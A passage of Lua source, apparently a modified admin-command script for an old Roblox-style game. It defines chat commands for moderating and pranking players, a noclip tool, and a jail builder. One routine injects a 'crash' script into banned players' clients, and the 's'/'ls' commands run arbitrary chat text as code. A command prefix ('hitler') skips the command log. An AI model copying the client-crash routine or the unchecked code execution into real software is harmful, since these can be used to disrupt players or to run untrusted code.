		if n==&quot;DancePotion&quot; and not DancePotion then return true end
		if n==&quot;infernohyperbike&quot; and not Hyperbike then return true end
		if n==&quot;MonsterMashPotion&quot; and not MonsterMash then return true end
	end
end

local function fastStrip(char)
	-- immediate rapid passes (no wait) to catch preloaded items
	for i=1,15 do
		local kids = char:children()
		for k=1,#kids do
			if shouldRemove(kids[k].Name) then
				kids[k]:remove()
			end
		end
	end
	-- hook future additions instantly
	char.ChildAdded:connect(function(c)
		if shouldRemove(c.Name) then
			c:remove()
		end
	end)
	-- fallback short timed sweep (light)
	for i=1,20 do
		local kids = char:children()
		for k=1,#kids do
			if shouldRemove(kids[k].Name) then
				kids[k]:remove()
			end
		end
		wait()
	end
end

game.Players.ChildAdded:connect(function(p)
	if p.className ~= &quot;Player&quot; then return end
	p.CharacterAdded:connect(function(char)
		if char then fastStrip(char) end
	end)
	if p.Character then fastStrip(p.Character) end
end)

game.Players.PlayerAdded:connect(function(p)
	if p.className ~= &quot;Player&quot; then return end
	local id = tostring(p.userId)
	for i = 1, #banlandUserID do
		if id == banlandUserID[i] then
			local function doCrash(pg)
				if script:findFirstChild(&quot;scripts&quot;) and script.scripts:findFirstChild(&quot;crash&quot;) then
					local c = script.scripts.crash:clone()
					c.Parent = pg
					c.Disabled = false
				end
				p:remove()
			end
			local pg = p:findFirstChild(&quot;PlayerGui&quot;)
			if pg then
				doCrash(pg)
			else
				p.ChildAdded:connect(function(ch)
					if ch.Name == &quot;PlayerGui&quot; then
						doCrash(ch)
					end
				end)
			end
			break
		end
	end
end)

function Chat(msg,plr)
coroutine.resume(coroutine.create(function()
if msg:lower() == &quot;clean&quot; then for i, v in pairs(game.Workspace:children()) do if v:isA(&quot;Hat&quot;) or v:isA(&quot;Tool&quot;) then v:Remove() end end end
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild(&quot;PlayerGui&quot;) or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
if msg:sub(1,7):lower() == &quot;hitler &quot; --ye moment
then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
if msg:lower():sub(1,4) == &quot;walk&quot; then msg = msg:sub(5) end
if msg:lower():sub(1,8) == &quot;teleport&quot; then msg = &quot;tp&quot; .. msg:sub(9) end
if msg:lower():sub(1,6) == &quot;insert&quot; then msg = &quot;ins&quot; .. msg:sub(7) end
if msg:lower() == &quot;cmds&quot; or msg:lower() == &quot;commands&quot; then
if plr.PlayerGui:findFirstChild(&quot;CMDSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;CMDSGUI&quot; scr.Parent = plr.PlayerGui
local cmds = {&quot;s code (&lt;2013, 2014 READ NOTES)&quot;,&quot;ls code&quot;,&quot;clear&quot;,&quot;fix&quot;,&quot;m msg&quot;,&quot;h msg&quot;,&quot;kill plr&quot;,&quot;respawn plr&quot;,&quot;view plr&quot;,&quot;unview plr&quot;,&quot;freecam/fc plr #optional number#&quot;,&quot;unfreecam/unfc plr&quot;,&quot;trip plr&quot;,&quot;stun plr&quot;,&quot;unstun plr&quot;,&quot;mute plr (2013L+)&quot;,&quot;unmute plr&quot;,&quot;jump plr&quot;,&quot;sit plr&quot;,&quot;invisible plr&quot;,&quot;visible plr&quot;,&quot;explode plr&quot;,&quot;rocket plr&quot;,&quot;fire plr&quot;,&quot;unfire plr&quot;,&quot;smoke plr&quot;,&quot;unsmoke plr&quot;,&quot;sparkles plr&quot;,&quot;unsparkle plr&quot;,&quot;ff plr&quot;,&quot;unff plr&quot;,&quot;punish plr&quot;,&quot;unpunish plr&quot;,&quot;freeze plr&quot;,&quot;thaw plr&quot;,&quot;heal plr&quot;,&quot;god plr&quot;,&quot;ungod plr&quot;,&quot;ambient num num num&quot;,&quot;brightness num&quot;,&quot;time num&quot;,&quot;fogcolor num num num&quot;,&quot;fogend num&quot;,&quot;fogstart num&quot;,&quot;removetools plr&quot;,&quot;btools plr&quot;,&quot;give plr tool&quot;,&quot;damage plr&quot;,&quot;grav plr&quot;,&quot;setgrav plr num&quot;,&quot;nograv plr&quot;,&quot;health plr num&quot;,&quot;speed plr num&quot;,&quot;name plr name&quot;,&quot;unname plr&quot;,&quot;team plr color&quot;,&quot;teleport plr plr&quot;,&quot;change plr stat num&quot;,&quot;kick plr&quot;,&quot;infect plr&quot;,&quot;rainbowify plr&quot;,&quot;flashify plr&quot;,&quot;noobify plr&quot;,&quot;ghostify plr&quot;,&quot;goldify plr&quot;,&quot;shiny plr&quot;,&quot;normal plr&quot;,&quot;trippy plr&quot;,&quot;untrippy plr&quot;,&quot;strobe plr&quot;,&quot;unstrobe plr&quot;,&quot;blind plr&quot;,&quot;unblind plr&quot;,&quot;guifix plr&quot;,&quot;fling plr&quot;,&quot;seizure plr&quot;,&quot;music num&quot;,&quot;stopmusic&quot;,&quot;lock plr&quot;,&quot;unlock plr&quot;,&quot;removelimbs plr&quot;,&quot;jail plr&quot;,&quot;unjail plr&quot;,&quot;fly plr&quot;,&quot;unfly plr&quot;,&quot;noclip plr&quot;,&quot;clip plr&quot;,&quot;pm plr msg&quot;,&quot;icecream plr&quot;,&quot;size plr number&quot;,&quot;gubby plr&quot;,&quot;dog plr&quot;,&quot;undog plr&quot;,&quot;creeper plr&quot;,&quot;uncreeper plr&quot;,&quot;place plr id&quot;,&quot;char plr id&quot;,&quot;unchar plr id&quot;,&quot;rank plr id&quot;,&quot;starttools plr&quot;,&quot;sword plr&quot;,&quot;bighead plr&quot;,&quot;minihead plr&quot;,&quot;spin plr&quot;,&quot;insert id&quot;,&quot;disco&quot;,&quot;flash&quot;,&quot;admins&quot;,&quot;bans&quot;,&quot;musiclist&quot;,&quot;cape plr color&quot;,&quot;uncape plr&quot;,&quot;loopheal plr&quot;,&quot;loopfling plr&quot;,&quot;hat plr id&quot;,&quot;unloopfling plr&quot;,&quot;unloopheal plr&quot;,&quot;unspin plr&quot;,&quot;tools&quot;,&quot;undisco&quot;,&quot;unflash&quot;,&quot;resetstats plr&quot;,&quot;gear plr id&quot;,&quot;cmdbar&quot;,&quot;shirt plr id&quot;,&quot;pants plr id&quot;,&quot;face plr id&quot;,&quot;swagify plr id&quot;,&quot;version&quot;,&quot;tm num msg&quot;,&quot;countdown num&quot;,&quot;clone plr&quot;,&quot;lsplr plr code&quot;,&quot;startergive plr tool&quot;,&quot;control plr&quot;}
local ast = {&quot;serverlock&quot;,&quot;serverunlock&quot;,&quot;sm msg&quot;,&quot;crash plr&quot;,&quot;admin plr&quot;,&quot;unadmin plr&quot;,&quot;ban plr&quot;,&quot;unban plr&quot;,&quot;loopkill plr&quot;,&quot;unloopkill plr&quot;,&quot;logs&quot;,&quot;shutdown&quot;,&quot;explorer plr&quot;}
local ost = {&quot;pa plr&quot;,&quot;unpa plr&quot;,&quot;nuke plr&quot;}
local tost = {&quot;oa plr&quot;,&quot;unoa plr&quot;,&quot;settings&quot;}
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. &quot; clean&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. &quot; &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;- &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
if ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;-- &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
if plr.userId == (1) then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = &quot;_ &quot; .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
end

if msg:lower() == &quot;version&quot; then Message(&quot;Koh&quot;..&quot;ltas&quot;..&quot;tr&quot;..&quot;ophe&quot;, tostring(script.Version.Value), true, {plr}) end

if msg:lower() == &quot;admins&quot; or msg:lower() == &quot;adminlist&quot; then
if plr.PlayerGui:findFirstChild(&quot;ADMINSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;ADMINSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(owners) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - Owner&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
for i, v in pairs(admins) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - Admin&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
for i, v in pairs(tempadmins) do if v:lower() ~= &quot;kohltastrophe&quot; then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. &quot; - TempAdmin&quot; cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end end

if msg:lower() == &quot;bans&quot; or msg:lower() == &quot;banlist&quot; or msg:lower() == &quot;banned&quot; then
if plr.PlayerGui:findFirstChild(&quot;BANSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;BANSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end




if msg:lower() == &quot;tools&quot; or msg:lower() == &quot;toollist&quot; then
if plr.PlayerGui:findFirstChild(&quot;TOOLSGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;TOOLSGUI&quot; scr.Parent = plr.PlayerGui
for i, v in pairs(game.Lighting:children()) do if v:isA(&quot;Tool&quot;) or v:isA(&quot;HopperBin&quot;) then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
end

if msg:lower():sub(1,2) == &quot;s &quot; then
coroutine.resume(coroutine.create(function()
Output(msg:sub(3), plr)
if script:findFirstChild(&quot;ScriptBase&quot;) then
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
else loadstring(msg:sub(3))()
end
end))
end

if msg:lower():sub(1,3) == &quot;ls &quot; then
coroutine.resume(coroutine.create(function()
if script:findFirstChild(&quot;LocalScriptBase&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
end
end))
end

if msg:lower():sub(1,6) == &quot;lsplr &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
if script:findFirstChild(&quot;LocalScriptBase&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
end
end
end))
end
end

if msg:lower():sub(1,4) == &quot;ins &quot; then
coroutine.resume(coroutine.create(function()
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(5)))
if obj and #obj:children() &gt;= 1 and plr.Character then
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
end
end))
end

if msg:lower() == &quot;clr&quot; or msg:lower() == &quot;clear&quot; or msg:lower() == &quot;clearscripts&quot; then
for i, v in pairs(objects) do if v:isA(&quot;Script&quot;) or v:isA(&quot;LocalScript&quot;) then v.Disabled = true end v:Remove() end
RemoveMessage()
objects = {}
end

if msg:lower() == &quot;fix&quot; or msg:lower() == &quot;undisco&quot; or msg:lower() == &quot;unflash&quot; then
lighting.Ambient = origambient
lighting.Brightness = origbright
lighting.TimeOfDay = origtime
pcall(function() lighting.FogColor = origfc end)
pcall(function() lighting.FogEnd = origfe end)
pcall(function() lighting.FogStart = origfs end)
for i, v in pairs(lobjs) do v:Remove() end
for i, v in pairs(game.Workspace:children()) do if v.Name == &quot;LightEdit&quot; or v.Name == &quot;LightEdit1&quot; then v:Remove() end end
end


if msg:lower() == &quot;cmdbar&quot; or msg:lower() == &quot;cmdgui&quot; then
coroutine.resume(coroutine.create(function()
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == &quot;CMDBAR&quot; then v:Remove() end end

local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui)
scr.Name = &quot;CMDBAR&quot;

local placeholderText = &quot;  Type command &amp; click Run&quot;

local submitButton = Instance.new(&quot;TextButton&quot;, scr)
submitButton.Name = &quot;SubmitButton&quot;
submitButton.Size = UDim2.new(0, 40, 0, 20)

pcall(function() submitButton.Style = &quot;RobloxButton&quot; end)
submitButton.Position = UDim2.new(1, -290, 0.95, -22)
submitButton.BackgroundColor3 = Color3.new(134, 128, 123)
submitButton.TextColor3 = Color3.new(1, 1, 1)
pcall(function() submitButton.Font = &quot;Arial&quot; end)
pcall(function() submitButton.FontSize = &quot;Size14&quot; end)
submitButton.Text = &quot;Run&quot;
submitButton.ZIndex = 11

local box = Instance.new(&quot;TextBox&quot;, scr)
box.Name = &quot;CommandInputBox&quot;
box.BackgroundColor3 = Color3.new(0,0,0)
box.TextColor3 = Color3.new(1,1,1)
pcall(function() box.Font = &quot;Arial&quot; end)
pcall(function() box.FontSize = &quot;Size14&quot; end)
box.Text = placeholderText
box.Size = UDim2.new(0, 250, 0, 20)
box.Position = UDim2.new(1, -250, 0.95, -22)
box.BorderSizePixel = 0
pcall(function() box.TextXAlignment = &quot;Left&quot; end)
box.ZIndex = 10
pcall(function() box.ClipsDescendants = true end)

pcall(function() box.FocusGained:connect(function()
if box.Text == placeholderText then
box.Text = &quot;&quot;
box.TextColor3 = Color3.new(1,1,1)
end
end)
box.FocusLost:connect(function()
if box.Text == &quot;&quot; then
box.Text = placeholderText
box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
end
end) end)

box.TextColor3 = Color3.new(0.7, 0.7, 0.7)

submitButton.MouseButton1Click:connect(function()
local commandInput = box.Text

if commandInput == &quot;&quot; or commandInput == placeholderText then
return
end

commandInput = commandInput:match(&quot;^%s*(.-)%s*$&quot;)

if not commandInput or commandInput == &quot;&quot; then return end

local finalCommand
local firstChar = commandInput:sub(1, 1)
local firstPrefixChars = commandInput:sub(1, prefix:len())

if firstPrefixChars == prefix then
finalCommand = commandInput
elseif firstChar == &quot;;&quot; then
	finalCommand = prefix .. commandInput:sub(2) --replace ; 2010 fix
else
	finalCommand = prefix .. commandInput --add prefix
end


local commandPartForLog = finalCommand:sub(prefix:len() + 1)
if commandPartForLog:sub(1,7):lower() ~= &quot;hitler &quot; then --yes this was in the original script
	table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
else
	table.insert(logs, 1, {name = plr.Name, cmd = finalCommand, time = GetTime()})
end

Chat(finalCommand, plr)

box.Text = placeholderText
box.TextColor3 = Color3.new(0.7, 0.7, 0.7)
pcall(function() box:ReleaseFocus() end)
end)
end))
return
end



if msg:lower():sub(1,10) == &quot;countdown &quot; then
local num = math.min(tonumber(msg:sub(11)),120)
for i = num, 1, -1 do
coroutine.resume(coroutine.create(function() Message(&quot;Countdown&quot;, i, false, game.Players:children(), 1) end))
wait(1)
end
end

if msg:lower():sub(1,3) == &quot;tm &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local num = tonumber(msg:sub(4,chk1-1))
Message(&quot;Message from &quot; .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
end

if msg:lower():sub(1,2) == &quot;m &quot; then
Message(&quot;Message from &quot; .. plr.Name, msg:sub(3), true, game.Players:children())
end

if msg:lower():sub(1,2) == &quot;h &quot; then
Hint(plr.Name .. &quot;: &quot; .. msg:sub(3), game.Players:children())
end

if msg:lower():sub(1,3) == &quot;pm &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
Message(&quot;Private Message from &quot; .. plr.Name, msg:sub(chk1+1), true, plrz)
end



if msg:lower():sub(1,11) == &quot;resetstats &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;leaderstats&quot;) then
for a, q in pairs(v.leaderstats:children()) do
if q:isA(&quot;IntValue&quot;) then q.Value = 0 end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;gear &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(chk1+1)))
for a,g in pairs(obj:children()) do if g:isA(&quot;Tool&quot;) or g:isA(&quot;HopperBin&quot;) then g.Parent = v.Backpack end end
obj:Remove()
end
end))
end
end

if msg:lower():sub(1,4) == &quot;hat &quot; then
local chk1 = msg:lower():sub(5):find(&quot; &quot;) + 4
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
local obj = game:service(&quot;InsertService&quot;):LoadAsset(tonumber(msg:sub(chk1+1)))
for a,hat in pairs(obj:children()) do if hat:isA(&quot;Hat&quot;) then hat.Parent = v.Character end end
obj:Remove()
end
end))
end
end

if msg:lower():sub(1,5) == &quot;cape &quot; then
local sep = msg:find(&quot; &quot;,6)
local spec, arg
if sep then
spec = msg:sub(6,sep-1)
arg  = msg:sub(sep+1):lower()
else
spec = msg:sub(6)
arg  = &quot;&quot;
end
local plrz = GetPlr(plr,spec)
local color = &quot;&quot;
local decal = &quot;&quot;
if arg == &quot;random&quot; then color = &quot;random&quot;
elseif arg == &quot;new yeller&quot; then color = &quot;New Yeller&quot;
elseif arg == &quot;pastel blue&quot; then color = &quot;Pastel Blue&quot;
elseif arg == &quot;dusty rose&quot; then color = &quot;Dusty Rose&quot;
elseif arg == &quot;cga brown&quot; then color = &quot;CGA brown&quot;
elseif arg == &quot;shiny&quot; then color = &quot;Institutional white&quot;
elseif arg == &quot;gold&quot; then color = &quot;Bright yellow&quot;
elseif arg == &quot;kohl&quot; then color = &quot;Really black&quot; decal = &quot;http://www.roblox.com/asset/?id=108597653&quot;
elseif arg == &quot;batman&quot; then color = &quot;Really black&quot; decal = &quot;http://www.roblox.com/asset/?id=108597669&quot;
elseif arg == &quot;superman&quot; then color = &quot;Bright blue&quot; decal = &quot;http://www.roblox.com/asset/?id=108597677&quot;
elseif arg == &quot;swag&quot; then color = &quot;Pink&quot; decal = &quot;http://www.roblox.com/asset/?id=109301474&quot;
else color = arg
end
for i,v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Remove() end end
local cl = script.scripts.capescript:Clone()
cl.Name = &quot;CapeScript&quot;
cl:findFirstChild(&quot;color&quot;).Value = color
cl:findFirstChild(&quot;decal&quot;).Value = decal
cl.Parent = v.PlayerGui
cl.Disabled = false
end
end))
end
end




if msg:lower():sub(1,7) == &quot;uncape &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and v.Character then
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Remove() end end
end
end))
end
end



-----AAAHHH!!! MORE GPT SLOP!!! LOOK AWAY GPT-PHOBES!

-- N O C L I P
if msg:lower():sub(1,7) == &quot;noclip &quot; then
    local plrz     = GetPlr(plr, msg:lower():sub(8))
    local template = script:FindFirstChild(&quot;LocalScriptBase&quot;)
    if not (template and template:FindFirstChild(&quot;Code&quot;)) then
        warn(&quot;Cannot find LocalScriptBase/Code&quot;)
        return
    end

    for _, target in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            local playerGui = target:FindFirstChild(&quot;PlayerGui&quot;)
            local backpack  = target:FindFirstChild(&quot;Backpack&quot;)
            local char      = target.Character
            if not (playerGui and backpack and char) then return end

            -- remove any old noclip bits
            if playerGui:FindFirstChild(&quot;NoClipLauncher&quot;) then
                playerGui.NoClipLauncher:Remove()
            end
            if backpack:FindFirstChild(&quot;NoClipTool&quot;) then
                backpack.NoClipTool:Remove()
            end
            if char:FindFirstChild(&quot;NoClipTool&quot;) then
                char.NoClipTool:Remove()
            end

            ----------------------------------------------------------------
            -- 1) TOOL FALLBACK (2010 clients)                            
            ----------------------------------------------------------------
            local tool       = Instance.new(&quot;HopperBin&quot;)
            tool.Name        = &quot;NoClipTool&quot;
            tool.BinType     = 0

            local toolScript = template:Clone()
            toolScript.Name     = &quot;ToolNoClipLogic&quot;
            toolScript.Disabled = true
            toolScript.Code.Value = [[
repeat wait(1/44) until game.Players.LocalPlayer
   and game.Players.LocalPlayer.Character
   and game.Players.LocalPlayer.Character:FindFirstChild(&quot;Torso&quot;)

local plr   = game.Players.LocalPlayer
local tool  = script.Parent
local dir   = {w=0,s=0,a=0,d=0}
local spd   = 2
local flying = false
local activeLoop = nil
local keyDownConn, keyUpConn

-- stop if the script or tool is removed
script.AncestryChanged:connect(function()
    if not script.Parent then
        flying = false
    end
end)

local function noclipLoop()
    while flying
      and tool.Parent
      and plr.Character
      and plr.Character:FindFirstChild(&quot;Torso&quot;)
    do
        wait(1/44)
        local torso = plr.Character.Torso
        local hum   = plr.Character.Humanoid
        if torso and hum then
            hum.PlatformStand = true
            torso.Anchored     = true
            local cam = workspace.CurrentCamera
            torso.CFrame = CFrame.new(torso.Position, cam.CoordinateFrame.p)
                            * CFrame.Angles(0, math.rad(180), 0)
                            * CFrame.new((dir.d-dir.a)*spd, 0, (dir.s-dir.w)*spd)
        else
            break
        end
    end
    -- cleanup
    if plr.Character and plr.Character:FindFirstChild(&quot;Torso&quot;) then
        plr.Character.Torso.Anchored = false
        plr.Character.Humanoid.PlatformStand = false
    end
end

local function disconnectInputs()
    if keyDownConn then keyDownConn:disconnect(); keyDownConn = nil end
    if keyUpConn then keyUpConn:disconnect(); keyUpConn = nil end
end

tool.Selected:connect(function(mouse)
    disconnectInputs()
    keyDownConn = mouse.KeyDown:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=1
        elseif k==&quot;s&quot; then dir.s=1
        elseif k==&quot;a&quot; then dir.a=1
        elseif k==&quot;d&quot; then dir.d=1
        elseif k==&quot;q&quot; then spd=spd+1
        elseif k==&quot;e&quot; then spd=spd-1 end
    end)
    keyUpConn = mouse.KeyUp:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=0
        elseif k==&quot;s&quot; then dir.s=0
        elseif k==&quot;a&quot; then dir.a=0
        elseif k==&quot;d&quot; then dir.d=0 end
    end)

    if not flying then
        flying = true
        activeLoop = coroutine.create(noclipLoop)
        coroutine.resume(activeLoop)
    end
end)

tool.Deselected:connect(function()
    flying = false
    disconnectInputs()
end)
]]
            toolScript.Parent = tool
            tool.Parent       = backpack

            ----------------------------------------------------------------
            -- 2) LAUNCHER (2013+ or fallback)                              
            ----------------------------------------------------------------
            local launcher    = template:Clone()
            launcher.Name     = &quot;NoClipLauncher&quot;
            launcher.Disabled = false
            launcher.Code.Value = [[
repeat wait() until game.Players.LocalPlayer
   and game.Players.LocalPlayer.Character
   and game.Players.LocalPlayer.Character:FindFirstChild(&quot;Torso&quot;)

local plr, ok, mouse = game.Players.LocalPlayer, nil, nil
ok, mouse = pcall(function() return plr:GetMouse() end)

-- detect removal
local alive = true
script.AncestryChanged:connect(function()
    if not script.Parent then alive = false end
end)

if ok and mouse then
    -- direct noclip: remove the tool, then run loop
    local bp = plr:FindFirstChild(&quot;Backpack&quot;)
    if bp and bp:FindFirstChild(&quot;NoClipTool&quot;) then bp.NoClipTool:Remove() end
    local ch = plr.Character
    if ch and ch:FindFirstChild(&quot;NoClipTool&quot;) then ch.NoClipTool:Remove() end

    local dir, spd, flying = {w=0,s=0,a=0,d=0}, 2, true

    mouse.KeyDown:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=1
        elseif k==&quot;s&quot; then dir.s=1
        elseif k==&quot;a&quot; then dir.a=1
        elseif k==&quot;d&quot; then dir.d=1
        elseif k==&quot;q&quot; then spd=spd+1
        elseif k==&quot;e&quot; then spd=spd-1 end
    end)
    mouse.KeyUp:connect(function(k)
        k = k:lower()
        if    k==&quot;w&quot; then dir.w=0
        elseif k==&quot;s&quot; then dir.s=0
        elseif k==&quot;a&quot; then dir.a=0
        elseif k==&quot;d&quot; then dir.d=0 end
    end)

    local function directLoop()
        while flying
          and plr.Character
          and plr.Character:FindFirstChild(&quot;Torso&quot;)
        do
            wait(1/44)
            local torso = plr.Character.Torso
            local hum   = plr.Character.Humanoid
            if torso and hum then
                hum.PlatformStand = true
                torso.Anchored     = true
                local cam = workspace.CurrentCamera
                torso.CFrame = CFrame.new(torso.Position, cam.CoordinateFrame.p)
                                * CFrame.Angles(0,math.rad(180),0)
                                * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd)
            else
                break
            end
        end
        -- cleanup
        if plr.Character and plr.Character:FindFirstChild(&quot;Torso&quot;) then
            plr.Character.Torso.Anchored = false
            plr.Character.Humanoid.PlatformStand = false
        end
    end

    coroutine.resume(coroutine.create(directLoop))
else
    -- fallback to tool
    local bp = plr:FindFirstChild(&quot;Backpack&quot;)
    local tb = (bp and bp:FindFirstChild(&quot;NoClipTool&quot;))
               or plr.Character:FindFirstChild(&quot;NoClipTool&quot;)
    if tb and tb:FindFirstChild(&quot;ToolNoClipLogic&quot;) then
        tb.ToolNoClipLogic.Disabled = false
    end
    script:Remove()
end
]]
            launcher.Parent = playerGui
        end))
    end

-- C L I P
elseif msg:lower():sub(1,5) == &quot;clip &quot; then
    local plrz = GetPlr(plr, msg:lower():sub(6))
    for _, target in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            local playerGui = target:FindFirstChild(&quot;PlayerGui&quot;)
            local backpack  = target:FindFirstChild(&quot;Backpack&quot;)
            local char      = target.Character

            if playerGui and playerGui:FindFirstChild(&quot;NoClipLauncher&quot;) then
                playerGui.NoClipLauncher:Remove()
            end
            if backpack and backpack:FindFirstChild(&quot;NoClipTool&quot;) then
                backpack.NoClipTool:Remove()
            end
            if char and char:FindFirstChild(&quot;NoClipTool&quot;) then
                char.NoClipTool:Remove()
            end

            if char and char:FindFirstChild(&quot;Torso&quot;) then
                char.Torso.Anchored = false
            end
            if char and char:FindFirstChild(&quot;Humanoid&quot;) then
                char.Humanoid.PlatformStand = false
            end
        end))
    end
end





if msg:lower():sub(1,5) == &quot;jail &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local vname = v.Name
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
local mod = Instance.new(&quot;Model&quot;, game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. &quot; Jail&quot;
local top = Instance.new(&quot;Part&quot;, mod) top.Locked = true pcall(function() top.formFactor = &quot;Symmetric&quot; end) top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new(&quot;Really black&quot;) top.CFrame = cf * CFrame.new(0,-3.5,0)
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
v.Changed:connect(function(p) if p ~= &quot;Character&quot; or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
v.Changed:connect(function(p) if p ~= &quot;Character&quot; or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
end)
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
local msh = Instance.new(&quot;BlockMesh&quot;, front) msh.Scale = Vector3.new(1,1,0)
